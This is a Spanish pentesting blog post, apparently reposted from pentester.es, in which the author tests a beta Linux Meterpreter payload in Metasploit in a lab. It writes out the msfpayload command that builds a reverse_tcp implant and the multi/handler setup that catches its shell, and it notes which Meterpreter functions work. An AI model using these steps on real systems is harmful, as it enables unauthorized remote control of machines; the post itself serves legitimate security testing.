¿Meterpreter en Linux?

Hace unos días me encontraba utilizando mi Metasploit, que siempre tengo actualizada a la última versión de SVN, y me encontré una cosa curiosa al intentar lanzar un exploit cuando ejecuté el comando «show payloads» para ver los payloads que tenía disponibles:

 

[…]

linux/x86/meterpreter/bind_ipv6_tcp
linux/x86/meterpreter/bind_tcp
linux/x86/meterpreter/reverse_ipv6_tcp
linux/x86/meterpreter/reverse_tcp
linux/x86/metsvc_bind_tcp
linux/x86/metsvc_reverse_tcp
[…]

¡¡¡ METERPRETER PARA LINUX !!!

 

Sentí como si HD Moore hubiera oído por fin mis plegarias. Siempre me he preguntado (y por lo que he podido comentar, no he sido el único) por qué no habían sacado un Meterpreter para otros sistemas que no sean Windows, si se debía a algún problema técnico que desconociéramos, a las diferencias existentes en Linux al existir una amplia variedad de distribuciones, o algo así.
Pegándole un ojo a los créditos del payload, vemos la siguiente descripción:
Sorprendentemente, no había leído en el blog de Metasploit (el cual sigo frecuentemente) ni en ningún lado de la existencia de este payload, por lo que era de esperar que estuviera en un estado bastante beta, así que me puse a hacer algunas pruebas.
Para ello, lo primero, fue generarme un binario para Linux con este payload, para no tener que explotar la vulnerabilidad para cada prueba que quisiera hacer. Esto lo hice con el comando msfpayload de Metasploit, de la siguiente forma:
# cd /opt/metasploit3/msf3
# ./msfpayload linux/x86/meterpreter/reverse_tcp LHOST=172.16.24.150 X > /tmp/meterlin.bin
Una vez hecho esto, lancé en mi msfconsole el payload multi/handler, un módulo al que le especificas el payload y sirve para poder recoger las conexiones, tanto directas como inversas, de los diferentes payloads de Metasploit:
# ./msfconsole
msf > use multi/handler

msf exploit(handler) > set PAYLOAD linux/x86/meterpreter/reverse_tcp

msf exploit(handler) > set LHOST 172.16.24.150

msf exploit(handler) > exploit

Por último lancé el binario que había generado previamente para que realice la conexión inversa hasta el multi/handler que he lanzado en Metasploit:
# cd /tmp
# ./meterlin.bin
Y vemos como en nuestro msfconsole nos aparecen los mensajes a los que estamos acostumbrados cuando lanzamos este mismo payload en un Windows:
BIEN! Ahora solo nos quedaba jugar un poco con el Meterpreter, así que lancé un «help» y me dispuse a probar las funcionalidades, y estos fueron los resultados de mis pruebas:
  • Módulo «priv» (para hacer «hashdump» y similares) NO funciona.
  • Comandos «ipconfig», «route», «kill» y otros comandos básicos SI funcionan, pero curiosamente «ps» NO, y «migrate» tampoco.
  • Comando «execute» SI funciona, aunque se queda colgado al salir.
  • Comandos «upload» y «download» SI funcionan.
  • Comando «portfwd» SI funciona.
Al final, después de un rato de probar, estas fueron mis conclusiones:
  • El Payload está aún en estado beta, aún falta bastante para que tenga toda la potencia del Meterpreter para Windows
  • Puede ser interesante usarlo en sistemas Linux, porque podemos con un solo payload subir de forma cómoda los ficheros que deseemos, ejecutarlos, redirigir puertos, y algunas opciones más, lo cual va a agilizar mucho nuestros pentests.
  • Hay que estar muy al tanto de las evoluciones de este payload.
Para finalizar, sentí curiosidad sobre si se estaban desarrollando versiones de Meterpreter para más plataformas, así que hice una pequeña búsqueda, y este fue el resultado:
[…]
bsd/x86/metsvc_bind_tcp
bsd/x86/metsvc_reverse_tcp
java/meterpreter/bind_tcp
java/meterpreter/reverse_tcp
linux/x86/meterpreter/bind_tcp
[…]
php/meterpreter/bind_tcp
php/meterpreter_reverse_tcp
[…]
Muy muy interesante, no os parece 🙂
Seguiremos informando…

 

Visto en: http://www.pentester.es/

 

Una respuesta a “¿Meterpreter en Linux?”

Deja una respuesta

Tu dirección de correo electrónico no será publicada. Los campos obligatorios están marcados con *